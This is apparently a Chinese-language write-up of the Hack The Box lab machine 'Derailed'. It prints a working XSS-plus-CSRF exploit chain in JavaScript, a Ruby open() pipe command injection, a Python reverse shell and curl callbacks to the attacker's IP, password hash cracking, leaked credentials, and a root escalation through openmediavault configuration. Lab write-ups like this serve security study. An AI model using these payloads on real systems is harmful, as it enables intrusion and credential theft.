基本信息

端口扫描

22和3000:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ nmap -sC -sV -Pn 10.10.11.190
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-26 20:26 CST
Nmap scan report for 10.10.11.190
Host is up (0.32s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 1623b09ade0e3492cb2b18170ff27b1a (RSA)
| 256 50445e886b3e4b5bf9341dede52d91df (ECDSA)
|_ 256 0abd9223df44026f278da6abb4077837 (ED25519)
3000/tcp open http nginx 1.18.0
|_http-title: derailed.htb
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 287.58 seconds

3000

clipnote:

目录扫描

目录扫描发现rails,(最重要的是rails这个,dirsearch默认能扫出来,gobuster常规扫描没这个结果):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
gobuster dir -w ~/Tools/dict/SecLists/Discovery/Web-Content/common.txt  -t 50 -u http://10.10.11.190:3000/

/500 (Status: 200) [Size: 1635]
/404 (Status: 200) [Size: 1722]
/administration (Status: 302) [Size: 96] [--> http://10.10.11.190:3000/login]
/favicon.ico (Status: 200) [Size: 0]
/logout (Status: 302) [Size: 91] [--> http://10.10.11.190:3000/]
/login (Status: 200) [Size: 5592]
/robots.txt (Status: 200) [Size: 99]
/register (Status: 200) [Size: 5908]

dirsearch -u http://10.10.11.190:3000/

[20:10:32] 200 - 2KB - /rails/info/properties

/rails/info/properties

rails的环境变量等信息:

routes

根据文档查看routes,得到所有路由信息:

clipnotes

随意测试提交,修改id为1知道alice用户:

report

另外存在report功能,应该是后端有个bot会查看我们提交的内容:

XSS & CSRF

用到的漏洞是这个,因为cookie有httponly,所以需要结合csrf进行利用:

大概流程

  1. 通过XSS去获取administration页面的结构
  2. 获取有效csrf token,攻击/administration/reports

xss

注册用户名,xss:

1
2
# <any 40 characters><bypass-pattern><xss-payload>
miaomiaomiaomiaomiaomiaomiaomiaomiaomiao<select<style/><img src="http://10.10.14.3:7777">

xss payload作为用户名,任意内容提交report,测试执行,成功触发xss:

后续就是一步步,通过xss获取信息,根据获取到的后台信息,我们知道需要获取有效的authenticity_token,然后csrf利用report_log处的命令注入:

要发帖,我们需要先制作一个恶意表单,然后分配获取authenticity_token的和 cmd 注入负载

最终构造出完整exp,整段js编码后注入到用户名中:

1
miaomiaomiaomiaomiaomiaomiaomiaomiaomiao<select<style/><img src="http://10.10.14.3:7777" onerror="eval(String.fromCharCode(<obfuscated-char-code>))">

测试,每一步都成功执行,包括测试的curl命令注入:

reverse shell

修改命令,得到reverse shell:

1
document.getElementById('badform').elements.report_log.value = '|python3 -c \'import pty;import socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.3",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("bash")\'';

vuln

查看代码可以看到是直接用了ruby的open函数,特性导致的命令注入:

如果path以管道字符 ( "|") 开头,则会创建一个子进程,并通过一对管道连接到调用者。返回的IO对象可用于写入标准输入并从此子进程的标准输出中读取。

1
2
3
4
5
# /var/www/rails-app/app/controllers/admin_controller.rb

report_log = params[:report_log]
begin
file = open(report_log)

administration

1
2
3
4
5
6
<form method="post" action="/administration/reports">
<input type="hidden" name="authenticity_token" id="authenticity_token" value="<authenticity_token>" autocomplete="off">
<input type="text" class="form-control" name="report_log" value="report_23_11_2022.log" hidden="">
<label class="pt-4"> 23.11.2022</label>
<button name="button" type="submit">Download</button>
</form>

token.js

1
2
3
4
5
6
7
8
9
var xmlHttp = new XMLHttpRequest();
xmlHttp.open( "GET", "http://derailed.htb:3000/administration", true);
xmlHttp.send( null );

// an arbitrary delay to ensure the page is rendered
setTimeout(function() {
var doc = new DOMParser().parseFromString(xmlHttp.responseText, 'text/html');
var token = doc.getElementById('authenticity_token').value;
}, 2000);

evilform.js

1
2
3
4
5
6
// just copy the form code from above and clean it up a bit
var newForm = new DOMParser().parseFromString('<form id="badform" method="post" action="/administration/reports"> <input type="hidden" name="authenticity_token" id="authenticity_token" value="placeholder" autocomplete="off"> <input id="report_log" type="text" class="form-control" name="report_log" value="placeholder" hidden=""> <button name="button" type="submit">Submit</button>', 'text/html');
document.body.append(newForm.forms.badform);
document.getElementById('badform').elements.report_log.value = '|curl http://<ip>/?cmdi';
document.getElementById('badform').elements.authenticity_token.value = token;
document.getElementById('badform').submit();

exp.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
var xmlHttp = new XMLHttpRequest();
xmlHttp.open( "GET", "http://derailed.htb:3000/administration", true);
xmlHttp.send( null );
// send a signal to indicate which step has been achieved
var x = document.createElement("IMG");
x.src = 'http://10.10.14.3:7777/?step1';

setTimeout(function() {
// send a signal to indicate which step has been achieved
var x = document.createElement("IMG");
x.src = 'http://10.10.14.3:7777/?step2';
// fetch the token
var doc = new DOMParser().parseFromString(xmlHttp.responseText, 'text/html');
var token = doc.getElementById('authenticity_token').value;
// craft the form
var newForm = new DOMParser().parseFromString('<form id="badform" method="post" action="/administration/reports"> <input type="hidden" name="authenticity_token" id="authenticity_token" value="placeholder" autocomplete="off"> <input id="report_log" type="text" class="form-control" name="report_log" value="placeholder" hidden=""> <button name="button" type="submit">Submit</button>', 'text/html');
document.body.append(newForm.forms.badform);
// assign the values
document.getElementById('badform').elements.report_log.value = '|curl http://10.10.14.3:7777/?cmdi';
document.getElementById('badform').elements.authenticity_token.value = token;
document.getElementById('badform').submit();
}, 2000);

user flag

rails用户shell中写公钥后ssh连接,方便后续操作,rails用户目录得到user flag:

信息

/var/www/rails-app/db/development.sqlite3中可以得到两个hash:

1
2
3
4
sqlite> select username,password_digest,role from users where id<5;
select username,password_digest,role from users where id<5;
alice|$2a$12$hkqXQw6n0CxwBxEW/0obHOb.0/Grwie/4z95W3BhoFqpQRKIAxI7.|administrator
toby|$2a$12$AD54WZ4XBxPbNW/5gWUIKu0Hpv9UKN5RML3sDLuIqNqqimqnZYyle|user

可以破解出来toby的密码:

1
2
3
sudo john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

greenday

alice

/var/www/rails-app/ 中,查看git log,可以得到alice的密码:

1
2
3
4
5
6
7
8
git log
git checkout 61995bf40dcb332b8979adc32152d73e5546e40c -f

rails@derailed:/var/www/rails-app$ cat db/seeds.rb
cat db/seeds.rb
User.create(username: "alice", password: "recliner-bellyaching-bungling-continuum-gonging-laryngitis", role: "administrator")

Note.create(content: "example content", author: "alice")

openmediavault-webgui

查看存在的用户,得到的toby密码可以切换到openmediavault-webgui:

1
2
3
4
5
6
7
8
rails@derailed:/var/www/rails-app$ cat /etc/passwd | grep bash
cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
openmediavault-webgui:x:999:996:Toby Wright,,,:/home/openmediavault-webgui:/bin/bash
rails:x:1000:100::/home/rails:/bin/bash
marcus:x:1001:1002:,,,:/home/marcus:/bin/bash

su - openmediavault-webgui
1
2
openmediavault-webgui@derailed:~$ ls -al /etc/openmediavault/config.xml
-rw-rw---- 1 root openmediavault-config 18838 May 30 07:13 /etc/openmediavault/config.xml

omv 工具存储在/usr/sbin/. 由于此应用程序用于管理对资源的访问控制。我们可以使用它为高权限用户添加新的访问方法。在这种情况下,我们可以让 root 用户接受我们的public ssh key,这样我们就可以以 root 身份通过 ssh 进入目标

提权 & root flag

按照文档转换ssh公钥格式,修改配置文件,例如把test user修改为root ssh登录,然后替换配置文件,应用生效,登录:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# local
ssh-keygen -e -f ~/.ssh/id_rsa.pub

# target
wget http://10.10.14.3:7777/config.xml -O /etc/openmediavault/config.xml
# 如果格式错误的话,直接在靶机上编辑
nano /etc/openmediavault/config.xml

/usr/sbin/omv-confdbadm read conf.system.usermngmnt.user

/usr/sbin/omv-rpc -u admin "config" "applyChanges" "{ \"modules\": [\"ssh\"],\"force\": true }"

# local
ssh root@10.10.11.190

shadow

1
2
3
4
5
root:$y$j9T$4H76C3VvReuiPfwg2kJ8T/$UAFsX2eC7xz.RgSYn.wNsvbIagSoGNBaoh.0/aNhrf4:19142:0:99999:7:::
openmediavault-webgui:$y$j9T$5FjjCWAt5JVaJCyw/KHjG1$6yADlnRZw4SaNH2XhzZKUoRrfQ5onFI1NlJf6TJvaa/:19142::::::
admin:$y$j9T$PHYLhHAg5Wed7QQtpsP0f/$UJgxXh80c.lnsQD5XsEs3chxm8mgMYSieH2co43LBm6:19142::::::
rails:$y$j9T$XKsVDJvXU7bCdmtkyEbYw.$4NTgDJCx3bQpd7hK9WATNhDGXvrcOa0Kqk80xsvvV01:19142:0:99999:7:::
marcus:$y$j9T$.lfKUaVKg3P24jmnZrODU/$RfQgNk01oAIKipNEBeFxX6Uv9UvI6CpRCiXun.3loUA:19316:0:99999:7:::

参考资料